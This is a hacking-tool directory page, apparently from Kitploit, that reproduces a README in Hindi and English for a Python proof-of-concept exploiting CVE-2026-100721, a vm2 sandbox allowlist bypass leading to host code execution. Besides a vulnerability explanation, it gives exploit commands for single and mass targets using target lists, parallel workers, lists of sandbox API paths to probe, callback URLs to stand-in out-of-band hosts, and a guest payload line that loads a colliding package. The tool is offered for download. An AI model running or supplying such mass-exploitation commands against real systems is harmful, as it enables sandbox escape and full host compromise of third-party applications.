Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-100721 — CVE-2026-100721 के लिए Python PoC: vm2 <3.12.2 NodeVM external allowlist bypass का पता लगाता है और उसका शोषण करता है, जिससे local lab या mass HTTP targets के माध्यम से sandbox escape और host RCE प्राप्त होता है। | Kitploit
उपकरण/GitHubGitHub/murrez/cve-2026-100721
टोहीभेद्यता स्कैनरभेद्यता विश्लेषणशोषणस्क्रिप्टिंग और स्वचालनवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट
GitHubmurrez/cve-2026-100721

CVE-2026-100721

CVE-2026-100721 के लिए Python PoC: vm2 <3.12.2 NodeVM external allowlist bypass का पता लगाता है और उसका शोषण करता है, जिससे local lab या mass HTTP targets के माध्यम से sandbox escape और host RCE प्राप्त होता है।

5 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

CVE-2026-100721 — vm2 NodeVM बाहरी allowlist बायपास

CVE-2026-100721 के लिए Python 3 PoC — vm2 (npm) 3.12.2 से पहले में NodeVM बाहरी-मॉड्यूल रिज़ॉल्वर में गलत प्राधिकरण, जिसके कारण सैंडबॉक्स एस्केप और होस्ट-साइड कोड निष्पादन होता है जब अविश्वसनीय JavaScript किसी गलत कॉन्फ़िगर किए गए एम्बेडर के अंदर चलता है।

PoC पेज: https://pocbit.org/pocs/cve-2026-100721


vm2 क्या है?

vm2 एक व्यापक रूप से उपयोग की जाने वाली Node.js लाइब्रेरी है जो एक ही Node प्रोसेस के भीतर अविश्वसनीय JavaScript को सैंडबॉक्स में चलाने के लिए है। एप्लिकेशन NodeVM का उपयोग प्रतिबंधों के साथ करते हैं जैसे:

  • require.builtin — गेस्ट कोड कौन से कोर मॉड्यूल लोड कर सकता है (fs, child_process, …)
  • require.external — npm पैकेज नामों की एक allowlist (जैसे केवल left-pad, lodash)
  • require.resolve — कस्टम रिज़ॉल्वर जो होस्ट-नियंत्रित प्लगइन या डिपेंडेंसी डायरेक्टरी की ओर इंगित करता है
  • context: 'host' — बाहरी पैकेज असली होस्ट require() के माध्यम से लोड किए जाते हैं (प्रदर्शन के लिए सामान्य)

विशिष्ट एम्बेडर: यूज़र-स्क्रिप्ट प्लेटफ़ॉर्म, लो-कोड रनर, प्लगइन मार्केटप्लेस, ऑनलाइन IDE, ऑटोमेशन सैंडबॉक्स, और आंतरिक "सेफ eval" माइक्रोसर्विसेज़।


सरल भाषा में भेद्यता

CVE-2026-100721 यह गलत प्राधिकरण (CWE-863) है कि vm2 कैसे तय करता है कि गेस्ट require("package-name") की अनुमति है या नहीं।

vm2 रिलीज़ में दो संबंधित दोष ठीक किए गए (एक ही प्रकार का बग — नाम / पथ सीमा भ्रम):

1. पैकेज-नाम सबस्ट्रिंग मैच (GHSA-c48m-32m9-vx93)

allowlist प्री-चेक left-pad जैसी प्रविष्टियों से एक पैटर्न बनाता है लेकिन पूर्ण पैकेज-नाम सीमा लागू नहीं करता। गेस्ट कोड evil-left-pad का अनुरोध कर सकता है क्योंकि स्ट्रिंग में left-pad शामिल है। यदि वह टकराव वाला पैकेज उस पथ पर मौजूद है जहाँ कस्टम रिज़ॉल्वर पहुँच सकता है, तो vm2 उसे होस्ट कॉन्टेक्स्ट में लोड करता है। टॉप-लेवल मॉड्यूल कोड सैंडबॉक्स रैपिंग से पहले चलता है → child_process, फ़ाइल पढ़ना, सीक्रेट्स, आदि।

2. रिज़ॉल्व्ड पथ प्रीफ़िक्स मैच (lib/resolver-compat.js, 3.12.2 में ठीक किया गया)

जब context: 'host' के साथ कस्टम रिज़ॉल्वर उपयोग किया जाता है, तो vm2 अनुमत डायरेक्टरीज़ को प्रीफ़िक्स रेगुलर एक्सप्रेशन का उपयोग करके रिकॉर्ड करता है, बिना सख्त पथ विभाजक / अंत सीमा के। गेस्ट बाद में require() के माध्यम से एक नॉन-allowlisted सिबलिंग के लिए एब्सोल्यूट पथ का अनुरोध कर सकता है (जैसे .../node_modules/foo2/index.js जब केवल foo allowlisted था)। सिबलिंग isPathAllowedForModule पास कर लेता है और होस्ट प्रोसेस में निष्पादित होता है।

प्रभावित: vm2 < 3.12.2 (CVE-2026-100721)। संबंधित नाम-टकराव फिक्स भी 3.11.7 में आए।
ठीक किया गया: vm2 ≥ 3.12.2 में अपग्रेड करें (और अपडेटेड रहें)।

मेट्रिकमान
CVSS 3.19.0 Critical — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS 4.09.5 Critical (Rapid7 / VulnCheck)
Authएक्सप्लॉइट चेन आमतौर पर सैंडबॉक्स के अंदर लो-प्रिविलेज कोड निष्पादन के बाद शुरू होती है (एडवाइज़री में PR:L)
क्रेडिटTencent Xuanwu Lab XlabAI, Atuin engine, Guannan Wang et al.

हमले की पूर्वापेक्षाएँ (वास्तविक परिनियोजन)

रिमोट "एक HTTP अनुरोध RCE" सार्वभौमिक नहीं है। व्यावहारिक चेन के लिए आवश्यक है:

  1. एप्लिकेशन vm2 NodeVM के अंदर हमलावर-नियंत्रित JS निष्पादित करता है।
  2. require.external allowlist + अक्सर एक कस्टम require.resolve।
  3. बाहरी के लिए context: 'host' (या समकक्ष होस्ट लोडिंग)।
  4. डिस्क पर पहले से मौजूद एक टकराव वाला पैकेज या हमलावर एक रख सकता है (प्लगइन अपलोड डायरेक्टरी, सिंक की गई प्राइवेट रजिस्ट्री फ़ोल्डर, टेनेंट डिपेंडेंसी पथ)।

जब ये मेल खाते हैं, तो प्रभाव पूर्ण होस्ट Node समझौता है — केवल गेस्ट सैंडबॉक्स दुरुपयोग नहीं।


यह PoC क्या करता है

मोडव्यवहार
--labप्रामाणिक स्थानीय एक्सप्लॉइट: lab/ vm2 3.11.5 इंस्टॉल करता है, evil-left-pad बनाता है, POCBIT-100721-HOST_EXEC प्रदर्शित करता है (विक्रेता एडवाइज़री को दर्शाता है)
checkरिमोट vm2 फ़िंगरप्रिंट (package.json, लॉकफ़ाइल, JS बंडल), संस्करण < 3.12.2, वैकल्पिक --probe-exec सामान्य सैंडबॉक्स API पथों के विरुद्ध
exploitमास-सक्षम POST allowlist-बायपास प्रोब JS (evil-left-pad, टकराव वाले नाम) कॉन्फ़िगर करने योग्य --exec-paths पर; प्रतिक्रिया में मार्कर या सैंडबॉक्स API सरफेस + --callback-url पर exploited चिह्नित करता है
मास बल्क--list targets.txt --mode exploit -j N → cve_2026_100721_exploit.jsonl + exploited.txt

PoCbit JSONL फ़ील्ड: हर पंक्ति पर pocbit, pocbit_catalog, pocbit_page।
CLI: हरा/मैजेंटा PoCbit बैनर, [EXPLOIT] / [SENT] / [FAIL] / [HIT] रंगाई (--no-color से अक्षम करें)।

महत्वपूर्ण: रिमोट एक्सप्लॉइट मोड आपके द्वारा कॉन्फ़िगर किए गए HTTP सैंडबॉक्स रनर को लक्षित करता है। शुद्ध लाइब्रेरी सत्यापन के लिए, python poc.py --lab का उपयोग करें (Node.js + npm आवश्यक)।


आवश्यकताएँ

pip install -r requirements.txt
घटकउद्देश्य
Python 3.9+स्कैनर / मास ड्राइवर
Node.js + npmकेवल --lab (CVE को समझने के लिए अनुशंसित)

उपयोग

स्थानीय लैब (पूर्ण सैंडबॉक्स एस्केप प्रमाण)

cd CVE-2026-100721
python poc.py --lab

कमजोर vm2 पर अपेक्षित:

[+] require(evil-left-pad): POCBIT-100721-HOST_EXEC
[+] RESULT: VULNERABLE

रिमोट डिटेक्शन

python poc.py -u https://app.example.com --mode check
python poc.py -u https://app.example.com --mode check --probe-exec
python poc.py --list targets.example.txt --mode check -j 12 --probe-exec

एक्सप्लॉइट (एकल लक्ष्य)

python poc.py -u http://127.0.0.1:3000 --mode exploit \
  --exec-paths /api/run,/api/eval --code-field code

python poc.py -u http://127.0.0.1:3000 --mode exploit \
  --callback-url http://your-collaborator.example/cve-100721

मास बल्क एक्सप्लॉइट

python poc.py --list targets.txt --mode exploit \
  --exec-paths /api/run,/api/sandbox/run \
  --callback-url http://oast.example.com/hit -j 15

कस्टम गेस्ट स्क्रिप्ट:

python poc.py -u http://127.0.0.1:3000 --mode exploit --payload-file my_escape.js

आउटपुट:

  • cve_2026_100721_exploit.jsonl — प्रति-लक्ष्य JSON
  • exploited.txt — वे लक्ष्य जहाँ एस्केप मार्कर, कॉलबैक सरफेस, या सैंडबॉक्स API हिट हुआ

डिफ़ॉल्ट सैंडबॉक्स API पथ (ट्यून करने योग्य)

ड्राइवर सामान्य पैटर्न की जाँच करता है (--exec-paths से ओवरराइड करें):

/api/run, /api/eval, /api/execute, /api/sandbox/run, /api/vm/run, /api/code/run, /run, /execute, /eval, /api/v1/run, /api/playground/run, …

JSON बॉडी फ़ील्ड आज़माए गए: code, script, source, javascript, js, payload, … (--code-field से ओवरराइड करें)।


गेस्ट पेलोड (अवधारणा)

अंतर्निहित एक्सप्लॉइट JS टकराव वाले पैकेज नामों जैसे evil-left-pad (allowlist बायपास PoC) को लूप करता है। एक कमजोर एम्बेडर पर जो पहले से टकराव वाले पैकेज को होस्ट करता है:

require("evil-left-pad");  // host top-level code runs → sandbox escape

स्थानीय lab/poc.js पूर्ण विश्वसनीय-एडवाइज़री परिदृश्य को external: ['left-pad'], builtin: [], और कस्टम resolve के साथ लागू करता है।


उपचार

टूल डाउनलोड करें